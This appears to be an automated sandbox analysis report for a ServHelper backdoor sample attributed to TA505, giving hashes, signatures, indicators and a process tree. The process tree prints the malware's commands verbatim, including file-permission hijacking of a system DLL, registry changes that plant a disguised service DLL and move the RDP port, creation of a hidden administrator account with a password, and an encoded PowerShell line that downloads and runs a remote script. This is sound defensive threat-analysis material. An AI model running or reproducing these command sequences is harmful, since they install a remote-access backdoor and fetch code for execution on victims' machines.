Analysis
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max time kernel
128s -
max time network
30s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
24-09-2021 21:43
Static task
static1
Behavioral task
behavioral1
Sample
83d119a963e7050995f9bf6be8841b95.exe
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
83d119a963e7050995f9bf6be8841b95.exe
Resource
win10v20210408
General
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Target
83d119a963e7050995f9bf6be8841b95.exe
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Size
5.7MB
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MD5
83d119a963e7050995f9bf6be8841b95
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SHA1
2ba0e479d5c2b7b9b28c7f946bd56489cedaa126
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SHA256
d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486
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SHA512
4c740f5e0f4787fc268239882fe9b74ee00944053ac4c45ca1d114dbd22954f00c3f4fd5fb39be932b44e6da9380466d07b324150454357bf7b12a17b77ceffe
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1792 powershell.exe 6 1792 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1812 icacls.exe 1800 icacls.exe 1420 icacls.exe 984 takeown.exe 1612 icacls.exe 1820 icacls.exe 968 icacls.exe 1880 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000a0000000121ee-130.dat upx behavioral1/files/0x00090000000121ef-131.dat upx -
Loads dropped DLL 2 IoCs
pid Process 852 Process not Found 852 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1812 icacls.exe 1800 icacls.exe 1420 icacls.exe 984 takeown.exe 1612 icacls.exe 1820 icacls.exe 968 icacls.exe 1880 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\49VXKDUQCCZZW4FQX540.temp powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d05927418db1d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1660 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1928 powershell.exe 908 powershell.exe 676 powershell.exe 1780 powershell.exe 1928 powershell.exe 1928 powershell.exe 1928 powershell.exe 1792 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 464 Process not Found 852 Process not Found 852 Process not Found 852 Process not Found 852 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1928 powershell.exe Token: SeDebugPrivilege 908 powershell.exe Token: SeDebugPrivilege 676 powershell.exe Token: SeDebugPrivilege 1780 powershell.exe Token: SeRestorePrivilege 1820 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1820 WMIC.exe Token: SeIncreaseQuotaPrivilege 1820 WMIC.exe Token: SeAuditPrivilege 1820 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1820 WMIC.exe Token: SeIncreaseQuotaPrivilege 1820 WMIC.exe Token: SeAuditPrivilege 1820 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1800 WMIC.exe Token: SeIncreaseQuotaPrivilege 1800 WMIC.exe Token: SeAuditPrivilege 1800 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1800 WMIC.exe Token: SeIncreaseQuotaPrivilege 1800 WMIC.exe Token: SeAuditPrivilege 1800 WMIC.exe Token: SeDebugPrivilege 1792 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1432 wrote to memory of 1928 1432 83d119a963e7050995f9bf6be8841b95.exe 28 PID 1432 wrote to memory of 1928 1432 83d119a963e7050995f9bf6be8841b95.exe 28 PID 1432 wrote to memory of 1928 1432 83d119a963e7050995f9bf6be8841b95.exe 28 PID 1928 wrote to memory of 1592 1928 powershell.exe 30 PID 1928 wrote to memory of 1592 1928 powershell.exe 30 PID 1928 wrote to memory of 1592 1928 powershell.exe 30 PID 1592 wrote to memory of 608 1592 csc.exe 31 PID 1592 wrote to memory of 608 1592 csc.exe 31 PID 1592 wrote to memory of 608 1592 csc.exe 31 PID 1928 wrote to memory of 908 1928 powershell.exe 32 PID 1928 wrote to memory of 908 1928 powershell.exe 32 PID 1928 wrote to memory of 908 1928 powershell.exe 32 PID 1928 wrote to memory of 676 1928 powershell.exe 34 PID 1928 wrote to memory of 676 1928 powershell.exe 34 PID 1928 wrote to memory of 676 1928 powershell.exe 34 PID 1928 wrote to memory of 1780 1928 powershell.exe 36 PID 1928 wrote to memory of 1780 1928 powershell.exe 36 PID 1928 wrote to memory of 1780 1928 powershell.exe 36 PID 1928 wrote to memory of 984 1928 powershell.exe 38 PID 1928 wrote to memory of 984 1928 powershell.exe 38 PID 1928 wrote to memory of 984 1928 powershell.exe 38 PID 1928 wrote to memory of 1612 1928 powershell.exe 39 PID 1928 wrote to memory of 1612 1928 powershell.exe 39 PID 1928 wrote to memory of 1612 1928 powershell.exe 39 PID 1928 wrote to memory of 1820 1928 powershell.exe 40 PID 1928 wrote to memory of 1820 1928 powershell.exe 40 PID 1928 wrote to memory of 1820 1928 powershell.exe 40 PID 1928 wrote to memory of 968 1928 powershell.exe 41 PID 1928 wrote to memory of 968 1928 powershell.exe 41 PID 1928 wrote to memory of 968 1928 powershell.exe 41 PID 1928 wrote to memory of 1880 1928 powershell.exe 42 PID 1928 wrote to memory of 1880 1928 powershell.exe 42 PID 1928 wrote to memory of 1880 1928 powershell.exe 42 PID 1928 wrote to memory of 1812 1928 powershell.exe 43 PID 1928 wrote to memory of 1812 1928 powershell.exe 43 PID 1928 wrote to memory of 1812 1928 powershell.exe 43 PID 1928 wrote to memory of 1800 1928 powershell.exe 44 PID 1928 wrote to memory of 1800 1928 powershell.exe 44 PID 1928 wrote to memory of 1800 1928 powershell.exe 44 PID 1928 wrote to memory of 1420 1928 powershell.exe 45 PID 1928 wrote to memory of 1420 1928 powershell.exe 45 PID 1928 wrote to memory of 1420 1928 powershell.exe 45 PID 1928 wrote to memory of 1292 1928 powershell.exe 46 PID 1928 wrote to memory of 1292 1928 powershell.exe 46 PID 1928 wrote to memory of 1292 1928 powershell.exe 46 PID 1928 wrote to memory of 1660 1928 powershell.exe 47 PID 1928 wrote to memory of 1660 1928 powershell.exe 47 PID 1928 wrote to memory of 1660 1928 powershell.exe 47 PID 1928 wrote to memory of 1004 1928 powershell.exe 48 PID 1928 wrote to memory of 1004 1928 powershell.exe 48 PID 1928 wrote to memory of 1004 1928 powershell.exe 48 PID 1928 wrote to memory of 2008 1928 powershell.exe 49 PID 1928 wrote to memory of 2008 1928 powershell.exe 49 PID 1928 wrote to memory of 2008 1928 powershell.exe 49 PID 2008 wrote to memory of 1480 2008 net.exe 50 PID 2008 wrote to memory of 1480 2008 net.exe 50 PID 2008 wrote to memory of 1480 2008 net.exe 50 PID 1928 wrote to memory of 1444 1928 powershell.exe 51 PID 1928 wrote to memory of 1444 1928 powershell.exe 51 PID 1928 wrote to memory of 1444 1928 powershell.exe 51 PID 1444 wrote to memory of 1576 1444 cmd.exe 52 PID 1444 wrote to memory of 1576 1444 cmd.exe 52 PID 1444 wrote to memory of 1576 1444 cmd.exe 52 PID 1576 wrote to memory of 1764 1576 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe"C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pm_nohl0.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB8B4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB8B3.tmp"4⤵PID:608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:908
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:676
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1780
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:984
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1612
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1820
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:968
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1880
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1812
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1800
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1420
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1292
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1660
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1004
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1480
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1576 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1764
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1744
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1164
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1736
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C:\Windows\system32\net.exenet start TermService5⤵PID:1712
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1332
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1352
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1756
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1756
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:580
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1844
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc RLGy6HnU /add1⤵PID:608
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc RLGy6HnU /add2⤵PID:700
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc RLGy6HnU /add3⤵PID:1632
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:968
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1156
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:404
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD1⤵PID:1468
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD2⤵PID:1660
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD3⤵PID:1304
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1500
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1752
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1664
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc RLGy6HnU1⤵PID:1444
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc RLGy6HnU2⤵PID:988
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc RLGy6HnU3⤵PID:1352
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:876
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1820
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1264
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1800
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1000
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1320
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1792
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